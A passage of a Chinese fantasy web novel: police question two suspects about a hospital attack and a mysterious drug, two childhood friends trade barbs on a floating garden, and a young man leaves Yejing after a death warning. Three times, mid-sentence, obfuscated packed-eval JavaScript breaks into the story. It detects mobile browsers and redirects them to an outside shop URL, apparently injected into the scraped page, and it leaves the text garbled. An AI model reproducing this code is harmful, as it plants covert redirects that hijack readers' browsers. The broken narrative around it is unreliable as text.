局里这些天申请了研讨会的技术协助,又陆续测试了几次,可不论怎么看,延展系统本身都是没有故障的。甚至当他们重复录入了一遍前些天的场景时,延展系统这次都给出了与当日完全不同,却完美符合后续事件走向的计算结果。 延展系统并没出错,它的算法完美无缺,算力远远没有达到上限,可是错误就是这样出现了。 那么可能的结果只有一种了。 数据库。赵虹蕾想,有人对数据库动了手脚。 可是即便是邺京市公安部门的最高权限都无法修改数据库里的内容。这些被以太研讨会监管起来的内容,到底是被谁篡改了呢…… 她看向了手边的报告,对从面前透明的监牢里传来的挑衅话语视若无睹。 万诚的体检结果显示,他身体里的以太十分活跃,甚至他已经拥有了部分不完全的以太人类体质。这和他在前几年进行定期体检时,记录在案的"人类"结果并不一致。刘林的资料也是类似的问题——虽然显示他是以太人类,但是记录在案的他体内的以太密度和活性,远远低于在他身上所检测出的数值。 在过往记录中,他是堪堪擦这边被录成以太人类的低密度者。但现在的结果则表明,目前他体内的以太密度已经远超出一般以太人类的平均水平,必须上调对他的监管等级了。 这些都绝对不是正常情况。 赵虹蕾忧心忡忡。 她先对隔壁监控室里的同事打了个“可以开始了”的手势,转过头向刘林回击道:“您已经被逮捕了,刘先生,而且市民们也没有伤亡。这样的结果对我们而言就是最好的回馈。” 刘林对她的反击不以为意,反而笑了起来。 赵虹蕾静静地看着他。 他笑了一会,见对方没中计,就用力捶了下地板,恶狠狠地冲万诚骂道:“窝囊废!你这种人类就是没用!你以为学着我样子就真成了以太人了吗?别自不量力了!要不是可怜你,我怎么会帮你找来……” 他敏锐地闭了嘴,看向面无表情的赵虹蕾,突然神经质地勾起嘴角,连额头边的青筋都凸了出来:"你以为我会说下去,好便宜你们吗?" 他沉下脸,一字一顿地说:“我偏不。” 随即,他又狂笑起来,笑得整个人都在地上打颤。 赵虹蕾深吸一口气,继续平静地与他对话:“我从没有这么想过,刘先生。因为现在我们所有的对话都会进行录音录像。” 万诚刚刚被刘林劈头盖脸地一顿骂,此时也没了大前天晚上的那股狂劲。他有些瑟缩地问:“我,我会被交给研讨会吗?” “目前还说不准。”赵虹蕾说,“这起恐怖袭击事件性质恶劣,肯定会在我们进行审问后就移交给研讨会进行处理。但是……” 她沉吟了一下:“万先生,您是人类,不是以太生物。所以在这个问题上,我没法给出确切答案。还需要等待研讨会那边的说法。” 万诚长出了一口气,念道:“那太好了,那太好了……” 他这反应引得隔壁的刘林一下子暴怒了。 他猛地扑了过去,狠狠地撞在拦在他们之间的透明隔板上。随着头顶的报警声想起,空气中以太密度几乎是断崖式地下跌,万诚心惊胆战地看着自己的前大哥又倒在了地上。 其实他在听说刘林被逮捕了后,之前那种上头的状态就已经像是被戳破的泡泡一样,一下消失得无影无踪,满脑子里就只剩下自己会被怎么判这个问题了。于是他果断决定出卖队友,把所有的锅都扣到刘林身上。 不能被研讨会抓住。 他想到前些天接触到的所谓“能让人体会到以太人类的感官”的违禁药品,冷汗就顺着脊柱一路向上爬。 一旦被抓住,涉及这种药品交易的自己就…… 光是想想被研讨会带走的可能性,他就一下激动起来。他拍着监管舱面对赵虹蕾的那层透明墙壁,信誓旦旦:“饶了我吧!我的脑袋都被那种药搞得不对劲了!我也是受害者啊!我根本不知道药是从哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265388|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里来的,都是刘林给我的!” 那边刘林气得想揍他,但他实在不想空间里的以太密度再被调低,就愤愤地一拳锤在了隔板上,好像这样能狠揍隔壁那个正摇尾乞怜的人一顿一样。 万诚没有理他,只是继续和赵虹蕾告饶道:“警官!警官!你要信我啊!不要把我交给研讨会啊!” 赵虹蕾敏锐地捕捉到了他话语中的关键词。 她敲了敲桌子,清脆的咚咚声通过麦克风准确无误地传进了立方体里:“万先生,您说的药,具体是指……” 她话音刚落,万诚就继续指控道:“我是被逼的!我是被投毒的!就是刘林!就是这小子知道这种东西有成瘾性,所以才把药给我……” "放屁!你明明吸得比谁都欢!现在想起来黑锅都甩我身上了?我告诉你……” 眼看着他们又要吵起来,赵虹蕾摁下了终端上的操作按钮,隔在万诚和刘林之间又薄又透的隔板便猛然加厚,俨然变成了无法被穿透的金属板材。 他们二人就这样被彻底隔离开来,同时面对着大屏幕上的赵虹蕾。 她说:“现在这种争辩对我们来说是无用的,请两位控制一下情绪,回答我的问题就好。" 她见万诚垂下了头,而刘林愤愤地踹了一脚隔板,但是也默认了后,便问道:"你们是通过什么渠道接触到药物的?” 她有些不放心,补了一句:“你们现在所有的配合,都是到时候判断你们可不可以减刑的依据。” 万诚一下来劲了。 他一下站起来,言辞恳切:“警官!警官!我知道!我知道!我们有特殊的交易方式!” 赵虹蕾点点头示意他继续说下去。 她看见犯人几乎是激动地冲到了透明的墙壁面前,脸上满是狂喜的笑容。 “那可是稀罕东西!说是他们上面有人从研讨会里带出来的,所以绝对不能被那边发现,不然他们上面的人都保不住我们!交易流程也就神神秘秘的,但基本就是会找一个有一个门槛的,很多人聚集的流……” 他话还没说完,他隔壁的刘林却突然猛烈地咳嗽了起来。 这突如其来的噪音这让万诚烦躁不已。他也一脚踹上了隔板,爆了句粗口,吼道:“你不想减刑就一个人去蹲大牢啊!别在这妨碍我招供减刑!” 他转过头又对赵虹蕾露出一副讨好的表情:“刚刚我说到哪里了?对,聚会,我们都是在这种人多的地方……” 他正想接着说下去,赵虹蕾就站了起来。 她操控着终端上的面板,之前一贯的沉着冷静已经不知所踪。 她高声喊道:“不要动!赶紧躺倒!我已经启动了紧急维生装置!救护车也在来的路上了!” 万诚不理解她的意思,正想问,却看到好像有什么湿湿的东西滴在了自己的脚面上。随后他便感觉到人中、上唇似乎也被湿润的东西浸透。 是哪里漏水了吗?他并不知道,只是抬起头,在感到有液体正在通过鼻腔倒流后,便赶紧正过头,伸手往鼻子上抹了一下。 他看到了一片黑色的、当中夹杂着些许晶体颗粒的粘液涂满了他的指头。 17. 孽缘 邺京本市的小学地理书在第一章第一页写道,这座城市在古时就被称为“十字城”。这里的十字指的就是贯穿邺京的,从西北向东南流通的邺江还有从西南通向东北的以太流脉。邺京城最早砌起的土墙则正好在这两条通路的交界点外围了小小的一圈,划出一座小小的城市,这就是当年还只是个村庄的巨型城市的雏形。 到了现代,邺京以其优越的地理位置做底子,依托于商业和金融业飞速发展。邺江以北甫一开始就被定为经济中心,很多原本住在北边的居民便被动迁到了被定位成居住区的南边。一趟高速列车横跨邺江,连通了江岸南北。 “说起来也是挺怪的哦?在古代,那个要什么没什么,连食物都很有限的年代,那些建村子的渔农之类的人,是怎么看出正好这个点就是以太流脉和江水的交界点的呢?” 季井仪没回答,只是晃着杯子里的浅粉色液体。 她手上的杯子很轻,拿在手上基本感受不到质量的压迫感,触感则像上好的丝绸。如果把它举高一点,阳光甚至会像穿透玉石那样透过杯子,投下杯壁上雕刻的层层叠叠的花边的形状。 这杯子,就像是工匠把玉料软化,织成了绵绵细布,再拿这些布匹做成了脆弱的蕾丝花边,最后又把这几片薄薄的花边给卷起来做成的一样。 这是一种产量很低的新式仿瓷材料。她上次见到这种仿瓷,还是在一年前忙着写毕业论文时碰巧查到的,只记得好像目前这种材料的产量极低,但偏偏使用范围又极广,所以价格相当高昂。 不过,会拿这种材料做杯子,倒也的确符合自己的这位朋友的性格就是了。 坐在她对面的女性见她没说话,便也没再正眼看她,只是拨弄着纤细手指上那枚显眼的戒指,阴阳怪气:“诶呀,季小姐有什么看法就说出来嘛?我眼界和学识都没你那么广,也没什么像你这种的为社会做贡献的觉悟。一天到晚也就是只能吃吃喝喝,想想这种没意义的问题,你可不要看不起我,还望你多多解答我的问题哦?” 季井仪一听自己的发小这么说话就头疼,她随便对付了两句:“应该就是单纯的运气吧。再或者,过去没准也有什么特殊的辨认方法,就像那些比较粗糙的气象常识一样。” “欸?我还以为季大小姐能有什么独到看法呢?” 季井仪揉了揉太阳穴:“那你这也太看得起我了,金娜。” 就算我有独到的看法,那也是不能跟其他人说的内容了。她在心里补了一句。 仙法。 她一下想起了那天在监控器里看到的奇怪小动物,突然觉得从头顶落下的日光在水面上过于晃眼睛,便扭过头不再看那边。 被冷落在一旁的叶金娜拉了一下自己胳膊上白花花的长毛皮草,故意露出了个傻里傻气的笑容:“诶呀,这不是想着我们季警官博闻强记嘛?你们好像刚刚破了个大案子?我想想,嗯,好像是和哪个医院相关?大概就是前天的事?大概?我记不清楚这种小细节了,说真的,我当时的全部心思都在拿放大镜找我的好闺蜜的名字上了呢。” “哦?是这样吗?那也真是辛苦你为我费那么多眼神了。” 看着笑嘻嘻摇头说“作为你的朋友,这都是该做的。”的叶金娜,季井仪一边默念着“不要生气,不要生气,生气给魔鬼留余地”,一边接过小机器人递过来的小点心,恶狠狠一口咬了下去。 这里是邺江上。 没错,就是邺江上。不知道为什么,也就是这几个月,可以在邺江上漂流的私人移动花园成为了邺京这群有钱人们的心头好。 在航运已经不再是主要运输手段的今天,横穿了整个邺京的邺江主要被用于观光。除了每个小时定期出发的,供外地游客游览邺江用的游艇外,在现在的邺江水面上出现最多的,就是这种从外部看就像个巨大的,反射着模糊光泽的肥皂泡的私人移动花园了。 最近的有钱人格外喜欢花心思和金钱在整理花园上,于是这种特殊的装置便应运而生,一个接一个漂上了江面,成了这段时间的邺江景观之一。 当然了,这股已经吹了几个月的风估计顶多再过一个月也就要散去了吧。有闲又不用担心经济来源的人的精力往往不值钱,几个月的专注对他们而言也不过是杀时间的一把水果刀罢了。 季井仪的这位发小,叶金娜就是这种人物的典型。 就比如现在,在这个盛夏的午后,她正坐在阳光可以直射进来的水晶球花园里,同时把私人花园里的光线过滤器和空气调节器都开到最大功率,在高达24度的室温里裹着厚实的白色长毛披肩优雅地小口喝着冰镇柠檬水。 这就实在不是一般人会做的事。 虽然如果问季井仪她对此怎么看的话,她会大胆把“一般人”这个词直接替换成“正常人”。 “诶呀,那这样的话,我就又不懂了呢。”叶金娜迷迷糊糊地说道。 她很擅长装傻。如果说有哪部影视剧面向社会招募一个最适合演木头美女的演员,那季井仪相信自己的发小一定可以用得天独厚的装傻天赋拔得头筹。 “既然你什么姓名都不能留下,为什么还要那么起早贪黑地去做警察呢?很累吧?啊,想想我就不行了。” 她把佩戴着的戒指上那颗硕大的猫眼蓝宝石给季井仪看,在得到对方礼节性的夸赞后,继续轻飘飘地说:“那里太粗鲁了。你平时工作的时候肯定不能戴这种首饰吧?嗯~说起来,在警察局丢了东西的话,找警察有用吗?” “……你这就过分了。我的同事们都是很正直的人。” “诶呀,谁说不是呢?我这么说只是想让你不舒服罢了。” 她咯咯地轻笑了起来。 “谁让我的傻闺蜜一门心思要往这种又脏又忙,还不讨好的地方钻呢?” “……你倒是在这种时候关心起我的去向了。” 她问,是因为感同身受吗? 看到叶金娜逐渐僵硬在脸上的笑容,季井仪假装心平气和地喝了一口茶杯里的柠檬水,心里却咚咚地打鼓。 我在说什么啊,她想。 明明谁都不想提起这个话题的。 粉色的柠檬气泡水有着过分香甜的酸味,她感受到气泡在舌头上消散的刺痒,就像心头逐渐被压下的愧疚。 她和叶金娜的关系极其复杂。两人说不上是朋友,却也说不上是仇人,但如果说是一般的酒肉朋友,她们之间的联系却又远超了这种关系。 硬要归类,只能说,她们一起度过了某一段没有意义的人生的伙伴。而在这样的伙伴中,很可惜,现在能坐在这里慢慢喝着柠檬水的,也只剩下她们两个了。 她是相当了解叶金娜的。这位大小姐没事就喜欢赞助各种展会,即便她本人对展会的主题内容没有任何兴趣,对该领域也没有任何了解。只要想看热闹的兴致到了,上到在邺京博物馆的名画展出,下到名不见经传的音乐节漫展,她都会慷慨解囊,每年在上面赔的钱不计其数,如果一笔一笔算来那连季井仪都会听得直皱眉头。 所幸,不将这种互生的鄙夷表现出来是她们间无需言明的潜规则。 于是季井仪换了个话题,问:“说起来,你既然知道这件事,自然是看到了后续的消息吧?” 她本意是想提醒对方少接触什么来路不正的药物,可这次叶金娜就像是为了找回场子一样,迅速地插进了话。 “啊,我看到了。”她摸了一把自己垂到披肩上的发尾,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她又加了把火:“毕竟我过去也是当事人呀?所以在这样的情况下,我会说最该被追责的就是你们公安部门呀!差点把人质都谈撕票了,这个水平真是让我对未来的生活好安心哟……” “叶金娜!” 面对吐舌头的叶金娜,季井仪摁下自己加速的心跳,一时间竟想不明白自己是不想继续听对方冷嘲热讽,还是因为想起了些自己不想回忆起的事情。 “这次是延展系统出了问题。”她说。 叶金娜笑得温和无害。 “这是我没听说过的内容。”她故作惊讶地说,啪地一声打开手边扇风的折扇,母贝材质的扇骨在扇子打开的一瞬间,反射出了一丝五彩的光。 “那话又说回来了,”她说,“不还是研讨会引以为豪的造物出了问题吗?连被当做社会基石的延展系统都能出岔子,到底要怎么才能维持规则呀?” 听着这样的揶揄,季井仪只是喝着柠檬水,没再发表自己的看法。 她与叶金娜就是这般的关系。两人看似无话不谈,但却始终对彼此藏着话语中最重要的部分。 有人希望让这次本来不算大事的医院袭击变作处理失当导致的恶性事件。 季井仪不知道对方这么做的目的到底是什么,但无论如何,对方为了达成那个目的,甚至愿意冒着极大的风险入侵邺京警局的数据库。因此可见,他们一定是冲着更大的东西来的。 可是,让他们不惜铤而走险的东西到底是什么呢? 她想起来商管侍的告诫,一时有些烦躁,在心里祈祷着可不要是自己的哪个兄长卷入了这次的事件引得研讨会下场,最后坏了她自己的计划。 这是她站稳脚跟的绝佳机会,可不能出什么岔子。 这边她还专注在自己的思考中,那边的叶金娜还在一直滔滔不绝,不知不觉间,话题兜兜转转又回到了季井仪身上。 “我之前听说你又申请调岗了,真的假的?明明刚到岗没多久,就说想去街道做小片警锻炼一下?你想去的,那叫什么街道来着?嗯……我想想……” 叶金娜手里的扇子一收,划出又一道华丽的光影。 她恍然大悟般地笑道:“想起来了!光辛街道!” 18. 有什么离开的理由 早上六点,邺京的天已经完全亮了。 这座城市的夏天雨水丰沛,空气潮湿又闷热,但这些都不是取消每日于早上五点进行的全城洒水工作的理由。即使湿滑的路面会让在太阳升起后被蒸起一大串的温热气体,让夏天更加难熬,但水流总是能最好地清洗街道的。 王睦友把箱子从楼上拎了下来。地上现在覆盖着一层湿润的水膜,这让这老箱子不灵便的轮子轻快了许多,在地上划出呲溜与嘎吱共存的痕迹。 他轻手轻脚地走出门洞,回头最后看了一眼身后的老建筑。他昨天暂住的公寓楼现在宁静又沉默,睡得和这栋楼的业主们一样死。他又探头看了看光辛饭店的方向,看见从那边不断冒出的油烟,判断现在正在给第一批早餐客人炸油条的裘诺肯定是没空关注路人的。 太好了,终于可以离开这个破地方了。 他如释重负地哼着小曲,拖着箱子绕开了光辛饭店,正准备走回大路上,就听见耳边响起一声炸雷一样的欢呼。 “哇!大哥哥你起得好早!没想到会在这时候遇到你!” 他还没反应过来,后腰就被重重地撞了一下。阅阅这猛然地飞身一扑差点给他撞在地上,幸好箱子的防震系统适时地起了作用,支撑了他一下。 王睦友刚站稳,就忙不迭地去捂阅阅的嘴,心有余悸地四处看看,确认小男孩这和大白鹅大小的百灵鸟一样的叫声没有吵醒他不想吵醒的人后,才压低了声音说:“诶诶诶,小点声!大早上还是别扰民了啊!” 阅阅乖乖地点点头,在王睦友小心翼翼地把手移开后,他又不能自已地兴奋道:“大哥哥要去哪里!我也要……” 王睦友又把他的嘴捂上了。 在终于逼着小男孩发誓自己能控制好音量后,他这才再次缓缓松手。阅阅拉着他的衣角,可能是因为不能叫出声,他的眼睛睁得极圆,差一点又要变成两个黑漆漆的圆洞。 如果这孩子是一只小狗的话,估计现在尾巴都要晃断了。 他们肩并肩向着大路走去。阅阅在他身边转呀转,脚步局促又灵活。 “我本来该晚上来找大哥哥的,但是妈妈说不太好……没想到现在碰上了!”他高兴地说。 一听“晚上”这个关键词,再联想到自己和这小男孩堪称撞鬼的认识过程,王睦友颈后一毛,干笑道:“你也没必要非要找我呀?阅阅性格这么开朗,学校里应该朋友不少吧?” 他说者无心,却没想到这句话好像刺伤了小男孩。阅阅这下真像一只尾巴上沾了泥水的小狗了,他有些失落地低下了头,不存在的小尾巴也塌了下去。 “嗯,在幼儿园里,他们都不怎么和我玩……” 他踢着路边的石子,随后又重新扬起了小脑袋,对着王睦友笑:“但是过几个月,就要上小学了!新朋友……一定有的!” 王睦友看了看他白乎乎的小胖胳膊,设想了一下在上面爬满黑色纹路的样子,半是可惜半是郁闷地在心里叹气,觉得阅阅可能得等到同龄人能意识到以太化不是什么大事后,才能交到一堆好朋友了。 但他还是祝福道:“肯定可以的。等到了小学,你肯定能认识和你聊得来的人的。但是呀,你跟我聊天不嫌无聊吗?我可是对你们小孩子喜欢什么一无所知……” “嗯?不会呀?” 他们走过了小巷的入口。大路上还有未来得及收起的伸缩水管,马路上也已经有了些许车辆。水管的伸缩声和车胎刮过地面的声音让环境一下有了些适度的嘈杂。 小男孩的声音拔高了一个八度。 “因为,大哥哥是救了我的人啊!” 王睦友本来想吐出的告别话语一下卡在了喉咙里。 “哈哈……昨天吗?我们最后不还是多亏了公安……警察叔叔阿姨吗?他们才是救了我们的人啊。” 他挠了挠头,回想起昨天自己在逃生舱里的样子。 “倒不如说我一直在出糗吧?” 阅阅用力摇摇头。 “才不是!”他的声音更大了,身体又开始小幅度地发抖,像极了他昨天身不由己时的样子,看得王睦友眼皮一跳,“昨天没有大哥哥的话……!” 他指了指胸口,声音带着哭腔:“这个,医生叔叔说,如果这个没了的话……我,我就再也回不了家,再也见不到……” 他说不下去了,只是颤抖着,眼睛睁得徒劳得大。 “如果昨天,如果昨天……” 王睦友对目前通用的心理治疗是否同样适用于以太人类这一课题没什么了解,但他作为人类的同理心让他知道,面前的这个小孩在承受着不亚于他昨天晚上感受过的恐惧。 他一时不知道怎么做,但等他反应回来时他已经碰了碰小孩的肩膀。小孩正抬着头看他, 他本来就不是什么能言善辩的人,这个时候便也只能磕磕巴巴地说:“但,反正过去了嘛。既然度过了这么糟糕的事情,之后都只会有好事吧?” 他顿了一下,说:“至少今天我们还能在这里说话,怎么说呢?” 已经比昨天好了,不是吗?他问。 阅阅看着他,将落未落的眼泪突兀地凝结在了眼眶里。 清扫着街道的小机器人穿过他们之间的空隙,像一团滚动的毛球带走了地上的灰尘,有几颗黑色的晶体粘在了它光滑表层上生出的一次性绒毛上,又混着几颗石子和一些细小的花瓣被一起卷入了它柔软的肚子里。 小男孩高兴地笑了起来。 他说:“嗯!也是呢!我一定要好好炫耀昨天被当人质的经历!” 这心也太大了?! 王睦友很想吐槽“这种破事就还是别炫耀了”,但这完全没有妨碍到小孩的好心情。他看了看王睦友手里的大箱子,戳了戳上面的标志:“诶?但是,大哥哥,你要去哪里?为什么提着这个大箱子?” 王睦友一时失语,一下不知道该怎么回答这个问题。 “我要走了。”他只是这样说道,对着小男孩吃惊的表情点点头。 “诶?!为什么?!” 这就是无法被说出的话了。 因为不能离开,所以才必须离开。 王睦友不知道该说些什么,只是沉默地往前走了几步。 他昨晚听到了一个稀奇的故事。 当时,他的舅爷将他喝空了的碗放到一边,从茶几下拿出纸来,团成了个纸团,之后就在空气里涂涂画画,甚至嘴里还念念有词,像极了那种自称有什么失传绝学的骗子。 王睦友是本想这么说的,但是他耳边却又的确响起了熟悉的摩擦声,随着老爷子的手势,那声音越来越频繁,最后“噗”地一声,冒出了个小小的火星。 吉老爷子把突然长出了手脚的纸团捧给他看,表情像在逗孙子。 “看吧?”他无不得意,“这就是我说的,有失必有得。符文这种技法,就是弥补我们与真正的以太人类差距的东西。诶呀,说起来现在以太人类还有市区里不得操控以太的管制。我们会的这玩意啊,它就没那么多事……” 王睦友忍不住了,他一把抢过纸团:“不是……舅爷你想想!我们自己动手把纸团再搓几下它也会长这些……” 他话还没说完,手背上就传来一阵刺痛。他吃痛松开了手,一低头就看见那长了手的纸团张开自己皱巴巴的身体,像一个降落伞那样落了地。随即它又把自己蜷回了一团,背对着他,好像在生闷气。 前提是如果这玩意有正反面的话。 王睦友无语了,他指着小纸团的手都在颤抖。吉老爷子赶紧把他的食指摁回去:“诶诶,这个孩子好像脾气不太好。你别这么指他了,别再被他咬一口……” “不是!”王睦友尖叫,“它根本就没有牙啊!” 像是回应他那样,那个纸团耀武扬威地把自己张开了点,露出自己被折得锋利的棱角。 原来这就是牙齿啊! 吉老爷子赶紧安抚小纸团,把它摊得又薄又平。 “这只是一些奇技淫巧罢了。”他说,“但如果你跟着我学习,我能教会你更多有关符文的技巧。到时候啊,别说是搓小纸团了,就连打扫卫生、叠衣服之类的啊,都可以自动完成,怎么样?厉害吧?” 他看王睦友还紧盯着那只现在已经在地上摊平的小纸团,心说有戏,便再接再厉。 “但是,符文也不是仅此而已了。所谓学无止境,更何况符文这种最早可以和以太生物分庭抗礼的技术,在过去可是会被叫仙……睦睦?你在听我说话吗?别再去惹那个小纸团了,他不乐意被碰……哎!!!松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265390|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口、松口!” 最终还是取下来了。但手指头上的伤疤可以恢复,王睦友心理上的损伤却是一时半会好不了了。 “这都什么跟什么啊?!”他激动地问。 “为就算是打扫卫生、叠衣服……现在终端不都把它们做的很好吗?!干嘛非要借助老祖宗的智慧啊!” 这问得没头没尾,但是中心思想已经再明显不过了:他不干。 “不如说,”他补充说明,“为什么我非得学这东西不可啊!怎么想都很奇怪……难道只是为了生活更加便利吗?可是、可是……” 这都不是让这个东西如此必要的原因吧?他问。 他深吸一口气:“不管怎么说,这里让我感觉怪怪的。我还是打算明天就走……” 他这话一出,老爷子就直接被吓丢了魂。老人家连连摇头,甚至抓上了王睦友的手,像是生怕自己的侄孙跑了那样。 “事情不是你想的这么简单!”他说,“睦睦,你听我说,你必须留在邺京,必须了解符文、了解在我们身上的事情。不然,你就会像你的父亲那样……” 他突兀地闭上了嘴。 “啊,是我要回家了哦。” 王睦友轻飘飘地说。 阅阅更加震惊了,这次他直接停了下来。 “这……这就要走了吗?”他问。 这来自于小孩的单纯反应多少冲淡了点王睦友心头的阴霾。他解释道:“阅阅要是在外面玩久了,你的妈妈也会担心的吧?” 阅阅慌张地点头,随后恍然大悟。 “是大哥哥的妈妈担心了吗?”他问。 如果回答是,那就一定是在撒谎了。可如果回答不是,那就又与现实有所出入。 他突然回想起母亲反复告诫自己不要回邺京的样子和那双全是冷汗的手,于是鬼使神差地说:“昨天,阅阅的妈妈肯定担心死了吧?” “妈妈很难过呢。” 王睦友笑了:“是啊,我的母亲也是这样。” 阅阅原地跳了一下,踩出了一小朵并不明显的水花。 “啊!大哥哥的妈妈,看到了昨天的新闻!所以很担心!我懂了!” “不仅如此。”王睦友说,看向了那几颗跃出水潭的水珠。 “我一开始就做了让她会担心的决定。所以至少,我要在这个决定导致的结果没那么糟糕前修正它。” 昨天晚上的谈话并没有因为吉老爷子的失言戛然而止。现实事件不以人的意志而改变,哪怕吉老爷子一万个不愿意说出王睦友父亲的死因,王睦友也不会真的因为会咬人的小纸团而忘了这件事。 这事件的真相对于吉老爷子而言似乎过于难以启齿。老人家思考良久,却始终只能吐露出:“睦睦,其实没有这么糟糕。你今天状态不太好,我们要不改天……”这样的含糊话语。 王睦友却已经没有精力继续这场拉锯战了。 他摇摇头:“也不用改天了。我不懂您在说什么,可能也无法理解您在说的话。但是我只知道,明天,我必须回……” 我必须回去。他想说。 我必须离开这座城市了,也许我们的缘分就这样尽了,但我也不打算再回到这诡异的…… 但这些话都没能被说出。 他听见了火苗燃起的声音。 他抬头寻找声源,于是看向了厨房,突然又听见好像有无数火星从那门后噼啪作响。它们一颗一颗汇聚成了巨大的河流,几乎是瞬间就点燃了他们所身处的空间。 吉老爷子明显也是听见了,他连忙对着那边说道:“您再等下!现在不该是您……” “无妨。”那门后的人说,“剩下的话,就让我来说吧。” 他打开了门,抬起那张属于裘诺的脸,眼珠子却像是碳中暗暗跳动的火。 从那张口中传出的,并不是裘诺的声音。 是那个男人。 是昨晚突然替代了裘诺的那个男人,是预知了吉老爷子去向的那个男人,是在自己手臂上留下灼烧的那个…… 那个任由荷花的纹样在皮肤上燃烧的男人。 他叫出了王睦友的名字,声音回荡在小小的客厅里。 “请好好听着。”他说。 如果离开了邺京,你就会死。 19. 归心似箭 王睦友的额头靠在了透明的车窗上。 虽然阅阅再三表示自己一直是独自等小机器人来接的,但王睦友还是不怎么放心,直到看到小男孩被圆滚滚的小机器人轻轻拉住了手,他才启程去了邺京总站。 晚是晚了点,但总算是赶上了。 现在离发车时间只有不到最后五分钟了,进站的闸机开始从三百倒数着关门时间。因为是今天的第一班车,邺京总站的乘客数量并不怎么多。 他看着站台上正急匆匆找着车厢的三两乘客,思绪却还停留在昨天晚上。 车窗是恒温材质,就算王睦友在这里靠了快十分钟,他的体温也没能温暖这凉凉的透明车窗。但这种温度反而让他此刻混乱的大脑保有了一丝冷静。 “我不能离开邺京,不然就会死。” 他喃喃自语,下意识重复着昨天晚上裘诺用男声说出来的话。 但其实这话还是没头没尾的。 突如其来的死亡宣告让王睦友的大脑直接停摆,一时不知道该做何反应,只是呆滞地维持着撑起上半身的姿势。 吉老爷子反应更激烈。他当场就慌了神了,立刻就以他那个年纪不常有的年纪把那边一脸严肃的裘诺关回了厨房,随后手忙脚乱地解释起来。 他说:“诶,睦睦,你听听就算了……这,这其实没这么糟糕的。诶呀,这,馗先生不太会说话。看这时间也不早了,我们先休息吧!我明天再从头跟你理一遍……” 他终于是叫回了王睦友的魂。 王睦友整个人还是木的,一时也想不出怎么拒绝或者答应,就只能应付性地“嗯”了一声。 但是也就是在他恢复意识的那一瞬间,他躺在展开的沙发床上,两眼盯着漆黑一片的天花板,心里也做好了打算。 结合经验,王睦友对于明天能不能真的听到吉老爷子的话持怀疑态度。从在医院,吉老爷子就说等回家再和他和盘托出,但等回了家他反而还是一副话到嘴边说不出口的样子,这便又把时间拖了半天。况且,这吞吞吐吐的态度反而让他越发觉得邺京不能久留,唯恐老头儿是藏了什么麻烦要扔给自己,所以才反复地说不出口。 决定是当场就下了的。想到这儿,他直接把薄被一掀,起手打开终端,连夜买好了回老家椋州的特快列车的车票,最后在谁都没醒的清晨,悄不作声地扛着箱子跑了。 从符文到吉老爷子突兀的入院,再到裘诺发出的男声,最后还有可能导致了自己父亲和未来自己死亡的怪病,这其中没有那件事不可疑。 但反过来说,世界上最不缺的就是看起来可疑的真事。但凡这些东西里有一样是真的,那自己就会小命不保,容错率实在是太小了。 现在下车还来得及。对,还有五分钟车才会开。不如回去听听吉老爷子到底要说些什么,彻底听明白了再走也不迟…… 他正纠结着,一个重物就突然压在了他身边,以至于弹性极佳的坐垫都被这突如其来的重量压得发出吱啦一声。 王睦友一回头,就看到一个老旧的大行李箱被怼到了他身边的座椅上。从行李箱后探出一个黑发蓬乱的脑袋。他扶了下脸上笨重的大眼镜,对王睦友说:“啊,抱歉啦小哥。我行李太重了,得先休息一下,才能一口气把它放上行李架。” 王睦友被突然打断了思绪,正有点无所适从,被这一堵更是直接错过了列车的关门时间。伴随着【列车即将发车,请各位旅客将行李放置在指定位置。】的电子音,自己这一看就平时锻炼不足的邻居也就深吸了几口气,一下就把大行李箱塞进了行李架上,又长长地呼了一口气,像是倒在床上一样瘫坐了下来。 他摘下眼镜,擦了擦额头上渗出的汗珠,突然转向正盯着关闭的车门发愣的王睦友:“天气可真热啊,刚早上就热成这样。” 王睦友还沉浸在“好么,这下没得选了”的惆怅中,自然是有口无心。 他这边随口应着,那边搭话的也没什么意见,只是笑了一下,倒在自己的座位上,熟练地打开终端浏览了起来。 那小伙其实长得挺周正的,就是脸被乱糟糟的头发和过时的大眼镜遮住了一大半,这让他着有些阴暗。如果是在街上撞见,王睦友肯定会绕着他走——少与社会边缘人接触无疑是现代人能活得长久的秘诀之一。 但这位邻座先生的性格可是半点都和阴暗搭不上边。 他一回头,见王睦友正脸色不好地盯着自己,倒也不怵,张口就问道:“哇,你看着也太糟了吧!” 他上上下下打量了一番,直到王睦友都感觉不适了,才说:“你这黑眼圈,黑印堂,一看就是体虚气运低。你可得好好注意了,不然怕不是过两天就得……” 他做了个抹脖子的动作,看得王睦友又是心头一跳,直接把上一个和他自来熟的人差点把他撕票的经历抛在了脑后。 他嗫嚅道:“啊,死,这还不至于……”他的声音非常小,还透着一丝若有若无的心虚。 邻座终于憋不住,扑哧一声笑了出来。 他拍了拍王睦友的肩膀说:“诶呀,我开玩笑的!你可别信我!” 说着,他又打量了王睦友一会:“诶呀,主要是现在已经很少有人信这种胡乱说的话了吧?没想到你居然一脸凝重,真对不起,我不是故意说晦气话的!” 这不是这两天老被人说我快死了嘛。 